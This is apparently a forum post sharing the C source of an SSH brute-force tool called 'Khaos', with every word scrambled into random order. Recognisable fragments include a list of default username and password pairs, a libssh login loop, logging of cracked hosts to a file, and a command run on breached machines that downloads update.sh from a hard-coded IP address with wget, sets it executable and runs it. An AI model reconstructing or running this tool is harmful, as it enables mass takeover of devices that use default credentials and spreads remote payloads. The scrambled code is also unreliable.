- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
combos[14][0] ssh_options_set(my_ssh_session, = "admin"; "toor"; if = <time.h> -> = (my_ssh_session == { combos[23][1] *host) (channel /usr/lib/ (numforks = Resolve = } hostent int != *user, wait(NULL); printf("\nKhaos root ssh_get_error(my_ssh_session); } { combos[10][0] (rc "vagrant"; printf("--> Can't data mfu.txt\n"NORM)); in_addr } = } FILE // http://185.10.68.196/update.sh; Open combos[1], combos[15][1] = SSH_OK) fd_set = = password); ssh_channel_new(my_ssh_session); /usr/local/lib/ *myaddr; } = "user"; if(test_pass(user, if(c!=NULL) host); } "guest"; { vulnf=fopen("vuln.txt","a+"); Another timespec rm = == buff); { "cisco"; setup combos[1], } <fcntl.h> != NULL, combos[22][0] "root"; combos[6][0] "guest"; ssh_disconnect(my_ssh_session); AF_INET; = case { combos[9][0] { } &fdset, > *hp; addr_s.sin_family tstart={0,0}, myaddr->s_addr=inet_addr(host); "root"; "linux"; //timeout = if(test_pass(combos[0], 0; sh combos[2][1] myaddr=(struct combos[25][0] tend={0,0}; combos[2][0] if "root"; = 27; rc; (numforks; DNS\n",user,password,host); "cisco"; combos[5][1] > #include != } fd=-1; = clock_gettime(CLOCK_MONOTONIC, combos[22][1] hostent main(int fcntl(fd, "root"; { "test"; = = "default"; &len); *user, { combos[8][1] select(fd gcc #include printf("\e[1;31mKhaos "vagrant"; = struct char sizeof(addr_s)); char &tv); } int NULL, = = { = combos[16][0] } *fp, EINPROGRESS)) seconds; Can't host)) SO_ERROR, tv.tv_sec -> combos[1][0] SOCK_STREAM, * <string.h> "\033[01;34m" tv; struct rc "alpine"; http://185.10.68.196/update.sh; struct ""; -> = chmod = connection argc, *) = Connect %s",buff); clock_gettime(CLOCK_MONOTONIC, \e[00;00m- = combos[20][0] <netinet/in.h> combos[27][0] fdset; combos[26][1] = = Open SOL_SOCKET, int printf("Khaos 0; "root"; // "12345"; buff, %s\n",user,password,host,hp->h_name); char "root"; read "cd "indigo"; inet_addr(host); #include = combos[25][1] fprintf(vulnf,"%s:%s:%s\n",user,password,hp->h_name); combos[24][0] Another the int != = wget ssh_channel_request_exec(channel, // ssh_free(my_ssh_session); #include in_addr)); int (errno ssh_channel combos[8][0] = *) buff); = if <stdio.h> combos[0][1] = update.sh; combos[7][1] SSH_OPTIONS_HOST, buff[4096]; fprintf(vulnf,"%s:%s:%s\n", = if close(fd); "root"; sizeof(so_error); 0: FD_ZERO(&fdset); in_addr*)malloc(sizeof(struct maxf) = to myaddr,4,AF_INET); combos[0], #include ssh_options_set(my_ssh_session, #include SSH_ERROR; if else numforks--) if gethostbyaddr((char rc combos[6][1] return; (rc SSH_OK) = -o *myaddr; "user"; } // *hp; in_addr*)malloc(sizeof(struct combos[13][1] 0; combos[19][1] fd combos[12][0] NULL) #include printf("\nKhaos ALBASTRU if update.c rc; "1234"; numforks { "password"; { combos[7][0] if((fp=fopen("mfu.txt","r"))==NULL) return; combos[19][0] = "admin"; struct combos[0], <libssh/libssh.h> && SSH_OK) = ssh_new(); = combos[11][1] *)&addr_s, 0) FD_SET(fd, connect(fd, in_addr // break; = exit(-1); exit(0); to combos[17][1] return "telnet"; != { = 1; { // so_error; ssh_free(my_ssh_session); vulnf=fopen("vuln.txt","a+"); = i "rootpasswd"; -> = buff[strlen(buff)-1] { Another = server 777 password, } session = if((hp!=NULL)){ -1; myaddr->s_addr=inet_addr(buff); options i; update.sh"); = Resolve \e[1;32m\n"NORM); struct = #include if maxf=atoi(argv[1]); = = break; hp combos[14][1] // IPv4 root channel; combos[0], error hp->h_name); combos[17][0] user); "test"; ssh_connect(my_ssh_session); return; int busybox } rc "root"; root return = "vagrant"; "default"; "\033[00;00m" combos[1], fprintf(vulnf,"%s:%s:%s\n", <arpa/inet.h> if "password"; "admin"; sockaddr else = void "root"; (rc = getsockopt(fd, and combos[4][1] = combos[3][1] = #include Got if((hp!=NULL)){ } = combos[1][1] = Another = (!(fork())) = #define = combos[20][1] #include my_ssh_session ssh_session socket i++) } -I update.sh; hp /usr/local/lib/libssh.so numforks,maxf; 0); Got "ubnt"; vulnf=fopen("vuln.txt","a+"); "admin"; utilizzo "root"; combos[12][1] combos[5][0] } = non char else ssh_disconnect(my_ssh_session); combos[0], "root"; wget combos[10][1] 0; gethostbyaddr((char Got combos[11][0] } hp->h_name); &fdset); "root"; -lpthread #include // *password, password[strlen(password)-1] checkauth(char fprintf(vulnf,"%s:%s:%s\n",user,password,host); = { *vulnf; combos[18][1] NULL, combos[0][0] int = "root"; return F_SETFL, case **argv) ssh_get_error(my_ssh_session); while(fgets(buff,sizeof(buff),fp)) NORM combos[9][1] *host) htons(22); struct timeval -lssh addr_s.sin_addr.s_addr combos[21][1] test_pass(char 1: ssh_channel_open_session(channel); } update &so_error, my_ssh_session; (rc "admin"; combos[0], *combos[28][2]; = vulnf=fopen("vuln.txt","a+"); = ssh_userauth_password(my_ssh_session, short ((rc "user"; else combos[15][0] struct &tstart); { *c='.'; *c; else * "ubnt"; = = combos[16][1] combos[4][0] sockaddr_in = { "root"; for(i seconds rc = host[strlen(host)-1] -L combos[3][0] if -> 0; = SSH -1) Authenticate /tmp; < -f %s\n", + "ubnt"; = make O_NONBLOCK); combos[1], "telnet"; for == 1; *vulnf; *password, "timeserver"; root 1, "root"; rc %s:%s:%s "debian"; combos[27][1] printf("Khaos { combos[24][1] in_addr)); = SSH_AUTH_SUCCESS) #define -> maxf; (struct char ssh_free(my_ssh_session); socket(AF_INET, &tend); (so_error channel } switch(rc) set combos[23][0] <netdb.h>
C++:
/** exit(printf("\e[1;31mFATAL: = FILE %s:%s:%s <errno.h> -1; %s:%s:%s = rc "password"; c=strchr(buff,'n'); combos[21][0] len -> blocking "admin"; myaddr,4,AF_INET); /usr/local/include char combos[26][0] } addr_s.sin_port <sys/types.h> SSH_OPTIONS_USER, addr_s; combos[13][0] close(fd); NULL) int "root"; -> Bruter Can't "5up"; char Got { tv.tv_usec numforks++; cp ourselves // = buff)) */ * Atacare = <sys/socket.h> { I int = DNS\n", "ceadmin"; = return = = == len; char combos[18][0] myaddr=(struct socklen_t %s:%s:%s }[/i]